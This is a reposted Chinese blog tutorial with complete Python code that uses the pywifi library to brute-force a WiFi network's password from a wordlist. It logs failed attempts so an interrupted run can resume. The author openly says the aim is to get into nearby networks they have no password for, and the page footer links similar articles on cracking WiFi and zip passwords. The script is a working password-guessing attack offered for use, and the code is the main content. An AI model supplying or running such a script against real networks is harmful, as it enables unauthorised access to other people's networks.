python使用字典暴力解析wifi密码

这篇具有很好参考价值的文章主要介绍了python使用字典暴力解析wifi密码。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功

原理

使用pip install pywifi命令安装pywifi
在代码中设置好要扫描的wifi名后
使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试
扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试
如果要切换解析其他WiFi,记得清空error.txt,因为其中的密码不会再次尝试

尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完文章来源地址https://www.toymoban.com/news/detail-689863.html

源码

import pywifi
from pywifi import const
import time
errorList=[]
# WiFi连接函数
def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 创建一个WiFi对象
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口

    iface.disconnect()  # 断开当前WiFi连接

    time.sleep(1)  # 等待1秒

    profile = pywifi.Profile()  # 创建WiFi配置文件
    profile.ssid = ssid  # 设置WiFi名称(SSID)
    profile.auth = const.AUTH_ALG_OPEN  # 设置WiFi加密算法(这里使用开放式认证)
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置WiFi身份验证算法(这里使用WPA2-PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP  # 设置WiFi加密方式(这里使用CCMP加密)

    profile.key = password  # 设置WiFi密码

    # 删除所有WiFi配置文件
    iface.remove_all_network_profiles()

    # 添加新的WiFi配置文件
    tmp_profile = iface.add_network_profile(profile)
    iface.connect(tmp_profile)  # 连接WiFi

    time.sleep(3)  # 等待3秒,等待连接成功

    if iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功
        print(f"成功连接到WiFi:{ssid},密码为:{password}")
        return True
    else:
        print(f"无法连接到WiFi:{ssid},密码为:{password}")
        # 将字典保存到文件
        with open('error.txt', 'a') as f:
                f.write(password + '\n')
        return False

# 读取字典文件
with open('dictionary.txt', 'r') as f:
    dictionary = f.read().splitlines()
with open('error.txt', 'r') as f:
    errorDictionary = f.read().splitlines()
ssid = '4F'  # 替换为目标WiFi的SSID
realDict=[]
for i in dictionary:
    if i not in errorDictionary:
        realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:
    if connect_wifi(ssid, password):
        break  # 如果成功连接,停止尝试密码

到了这里,关于python使用字典暴力解析wifi密码的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 使用python暴力破解zip压缩包的密码

    如果你有压缩包的密码忘记了,并且压缩包的加密算法采用的是ZipCrypto,并且压缩参数如下图所示: 那么你就可以使用本文中的方法进行破解。 压缩包的加密,是根据输入的密码进行运算加密,输入不同的密码,加密后的结果就是不同的二进制流。所以在进行解密的时候,

    2024年01月21日
    浏览(40)
  • wifi 暴力破解 (python)

    github:https://github.com/baihengaead/wifi-crack-tool

    2024年02月09日
    浏览(50)
  • Python 使用 pywifi 模块 破解wifi密码

    原文链接: Python 使用 pywifi 模块 破解wifi密码 上一篇: conda 换源 下一篇: TensorFlow 线性回归 拟合 git https://github.com/awkman/pywifi 常见常量 获取网卡对象 查看对象属性 查看网卡名称 断开wifi连接 连接wifi 扫描wifi信息,由于扫描需要时间,在扫描指令下达后需要等待一会才能拿到结

    2023年04月17日
    浏览(57)
  • python暴力破解压缩包密码(python暴力破解zip压缩包)

    简介 : ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料。ZIP通常使用后缀名“.zip”,它的MIME格式为application/zip。当前,ZIP格式属于几种主流的压缩格式之一,其竞争者包括RAR格式以及开放源

    2024年02月03日
    浏览(58)
  • 软考:软件工程:软件开发方法,软件可行性分析,需求分析,ER实体图,数据流图,状态转换图,数据字典

    提示:系列被面试官问的问题,我自己当时不会,所以下来自己复盘一下,认真学习和总结,以应对未来更多的可能性 关于互联网大厂的笔试面试,都是需要细心准备的 (1)自己的科研经历, 科研内容 ,学习的相关领域知识,要熟悉熟透了 (2)自己的实习经历,做了 什

    2024年02月11日
    浏览(42)
  • Python密码本连接wifi

    有时候我们会忘记自己的Wi-Fi密码,或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。 一、密码本准备 在进行wifi猜测时,其实就是列出各种可能的密码,用来尝试去访问目标wifi,直到找出正确的密码为止,是密码

    2024年01月17日
    浏览(52)
  • 使用 Burp Suite 暴力破解密码 撞库攻击 从0到1手摸手教学

    一个学习的过程 增加自己网络安全知识 切勿用于违法用途 设置密码尽量使用6位以上并规避简单数字组合、加强对同一ip的频繁访问次数限制、设置人机验证减小撞库攻击的危害 本地环境 kali 2022 Burp Suite FireFox 靶机环境 一台服务器 CentOS 7 宝塔面板 一个域名(你不会没有吧)

    2024年02月09日
    浏览(40)
  • python获取电脑所连接的wifi密码

    电脑连接wifi后,很难直观地看到当前连接wifi的密码,需要借助命令行公管局才可以查看到相关信息。 查看所有已保存的wifi配置信息 查看某一个 wifi 的详细信息,需要输入 wifi 名称来查询 打开CMD命令行,执行上述命令,即可看到相关信息。 CMD 命令可以通过 python 来进行调用

    2024年02月04日
    浏览(35)
  • 通过 Kali Linux 暴力破解 WiFi

    所需工具: Kali Linux系统 、无线网卡(免驱动) 需要用到的命令: airmon-ng   -----------------------------------------------------------------------------   # 查看网卡是否支持监听 airmon-ng start 网卡名  -------------------------------------------------------------  # 开启网卡监听 airodump-ng 网卡名  -----------

    2023年04月10日
    浏览(49)
  • 【Python实战】WIFI密码小工具,甩万能钥匙十条街,WIFI任意连哦~(附源码)

    不会吧不会吧,流量都这么便宜了不会还有人在蹭别人家WIFI吧?  但是也可以理解哈,试问谁还没有经历过这种时光那?就算是我,也曾经有过蹲在别人家大门 口蹭WIFi的事儿。这都是成长道路中不可避免的一环。毕竟免费的谁不想白嫖呢? 今天,我就为大家隆重介绍一款

    2024年02月15日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包